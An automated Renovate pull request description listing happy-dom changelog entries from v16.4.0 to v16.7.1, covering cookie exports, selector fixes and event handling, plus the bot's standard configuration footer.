👷♂️ Patch fixes
v16.7.1Compare Source
👷♂️ Patch fixes
ICookie,IOptionalCookie,CookieSameSiteEnumandIVirtualServeras exports to the index file - By @capricorn86 in task #1693CookieContainer.addCookies()- By @capricorn86 in task #1693v16.7.0Compare Source
🎨 Features
v16.6.0Compare Source
🎨 Features
querySelector(),querySelectorAll()andmatches()(e.g. ".a ~ .b") - By @karpiuMG in task #1683v16.5.3Compare Source
👷♂️ Patch fixes
v16.5.2Compare Source
👷♂️ Patch fixes
Event.targetshould be the target element after an event has been dispatched - By @capricorn86 in task #1529v16.5.1Compare Source
👷♂️ Patch fixes
Comment,TextandDocumentFragmentare not instances of their corresponding property onWindow- By @capricorn86 in task #1577v16.5.0Compare Source
🎨 Features
GlobalRegistrator.isRegistered- By @capricorn86 in task #1670v16.4.3Compare Source
👷♂️ Patch fixes
Responseduring tear down of theWindow- By @capricorn86 in task #1669v16.4.2Compare Source
👷♂️ Patch fixes
v16.4.1Compare Source
👷♂️ Patch fixes
document.documentElement.innerHTMLisnt parsed correctly since v16 - By @capricorn86 in task #1663v16.4.0Compare Source
🎨 Features
Configuration
📅 Schedule: Branch creation - "" (UTC), Automerge - At any time (no schedule defined).
🚦 Automerge: Disabled by config. Please merge this manually once you are satisfied.
♻ Rebasing: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.
🔕 Ignore: Close this PR and you won't be reminded about this update again.
This PR was generated by Mend Renovate. View the repository job log.